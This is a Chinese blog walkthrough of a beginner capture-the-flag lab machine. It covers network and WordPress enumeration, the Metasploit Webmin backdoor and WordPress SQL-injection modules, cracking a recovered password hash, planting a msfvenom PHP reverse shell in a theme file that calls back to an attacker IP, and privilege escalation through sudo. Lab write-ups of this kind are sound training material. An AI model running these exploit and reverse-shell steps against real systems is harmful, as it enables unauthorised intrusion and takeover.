靶机地址
难度:初级+1
靶机描述:
The machine was part of my workshop for Hacker Fest 2019 at Prague.
Difficulty level of this VM is very“very easy”
. There aretwo paths for exploit it
.
There areno intentional rabbit holes
.
Through a vulnerable “[retracted]”. Exploit is part of MSF.
Through vulnerable “[retracted]”.
Can be found by “[retracted]”.
There is a “[retracted]” injection (exploit is part of MSF).
Recovered credentials (username + hash) can be cracked byJohn
androckyou.txt
wordlist.
Low priv shell can be gained through MSF exploit or trying the credentials against “[retracted]”.
Priv. esc. is simply done by “[retracted]”.
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:
[email protected]
工具、知识点和漏洞
netdiscover
nmap
wpscan
john
metaspaloit
msfvenom
webmin_backdoor漏洞
wp_google_maps_sqli漏洞
0x00、信息收集
靶机IP:192.168.0.110
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.110
页面、目录枚举
dirb http://192.168.0.110 -X .php,.txt,.zip,.html
匿名登录访问ftp,发现一堆wordpress的源代码,这个靶机应该是不可能进行代码审计的,这个ftp的匿名用户访问应该是个烟雾弹。前面nmap扫描的时候发现有webmin,版本是1.890
0x01、第一种方式:Webmin
根据靶机描述里面的提示,使用MSF(metasploit framework)搜索Webmin
msfconsole
search webmin
Rank为excellent的exploit有以下四个:
- exploit/linux/http/webmin_packageup_rce
- exploit/unix/webapp/webmin_backdoor
- exploit/unix/webapp/webmin_show_cgi_exec
- exploit/unix/webapp/webmin_upload_exec
webmin_packageup_rce的设置参数必须提供Webmin的账户密码,排除使用该exp。
webmin_backdoor的设置参数对于这个靶机而言我们只需要设置靶机IP和攻击机IP,于是选择使用它。结果第一次失败了,原因是该靶机的Webmin使用了SSL,而exploit中对应的默认参数是没有启用SSL/TSL的,需要我们重新设置。
nmap扫描的结果中已经提示该靶机的Webmin启用了SSL
msfconsole
use exploit/unix/webapp/webmin_backdoor
show options
set rhosts 192.168.0.110
set lhost 192.168.0.108
set ssl true
exploit # 或者run
0x02、第二种方式:WordPress
使用wpscan扫描网站
扫描的时候提示我没有WPVulnDB API Token,一时之间有点懵,wpscan用了也不是一次两次了,之前从来没有出现过这种提示。根据提示到https://wpvulndb.com/users/sign_up注册一个账号。
注册账号的过程中需要进行
人机验证
,所以你懂的……请备好Tizi
得到WPVulnDB API Token后就可以愉快的使用wpscan了,使用方式只是多了一个参数--api-token
的设置
wpscan --url http://192.168.0.110 -e vp,vt,u --api-token APIKEY
需要把上面的APIKEY换成你自己api key
使用MSF搜索漏洞利用方式,找到auxiliary/admin/http/wp_google_maps_sqli
msfconsole
search wp_google_maps
use auxiliary/admin/http/wp_google_maps_sqli
show options
set rhosts 192.168.0.110
run
使用john爆破$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1
,字典使用rockyou.txt
关于破解工具和字典的选择,靶机描述里已经给过提示了。
rockyou.txt
是kali
自带的密码字典,如果是初次使用,则需要先到/usr/share/wordlist
目录将rockyou.txt.gz
解压
如果你也用echo将hash值保存到文件中,需要注意的是别用双引号。因为echo会将$开头的字符串当作变量去执行,而变量又没有赋值,那么写入到文件后就没有内容了。
getshell方式一:theme页面反弹shell代码
使用webmaster/kittykat1
登录管理后台
进入后台之后有点懵圈,因为语言是捷克语,突然找不到theme在哪了……然而机智的我发现了下面的套路
在404.php页面中写入反弹shell的代码
第一步,使用ifconfig命令查看kali的IP:192.168.0.110
第二步,msfvenom生成webshell代码,并保存到主题中的php文件中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R
!!!
注意:使用时需要去掉最开头的两个字符/*
,不然浏览器访问反弹shell的php网页会看到/*
,并且无法反弹shell. 如下图所示:
第四步,做好msfconsole接收shell的准备
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
第五步,访问含有反弹shell代码的php页面http://192.168.0.110/wp-content/themes/twentyseventeen/404.php
某个theme下的php页面的url组成一般为http://ip地址/
wp-content
/主题名称全小写字母/php页面。例如,我这里的theme名称为Twenty Seventeen
,对应到url上就是twentyseventeen
下面我先给出第二种getshell的方式,之后再给出提权的过程。
getshell方式二:使用MSF
msfconsole
grep shell search wordpress
use exploit/unix/webapp/wp_admin_shell_upload
show options
set password kittykat1
set username webmaster
set rhosts 192.168.0.110
run
0x03、提权
之前我们获得了WordPress后台的webmaster账户密码,所以尝试使用这个账户密码登录一下SSH,没准系统里面就有这么个用户呢?
cat /etc/passwd | grep webmaster
执行上述命令后,发现确实存在系统用户webmaster
尝试SSH登录
如果你遇到下面的问题,只需要根据红框中的提示把对应的key删除即可,我是直接把文件中的所有内容清空了。
查看当前用户能够执行的sudo权限的命令,发现是ALL,立马使用sudo su root
,切换到root账户
sudo命令可以执行一次root权限的命令,但有两个条件:一是需要
知道当前用户的密码
;二是/etc/sudoers
文件中允许了当前用户使用sudo命令。
或者,使用sudo bash
0x04、后记
在查找SUID权限命令的过程中发现了/usr/sbin/exim4,查了一下版本是4.89
关于exim4,在4.87-4.91版本有一个本地提权漏洞,MSF中相应的exploit,然后尝试利用了一下,结果没能成功,可能的原因是靶机没有开启25端口。
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。如果您觉得这篇博客写的还不错,也欢迎分享给身边的人。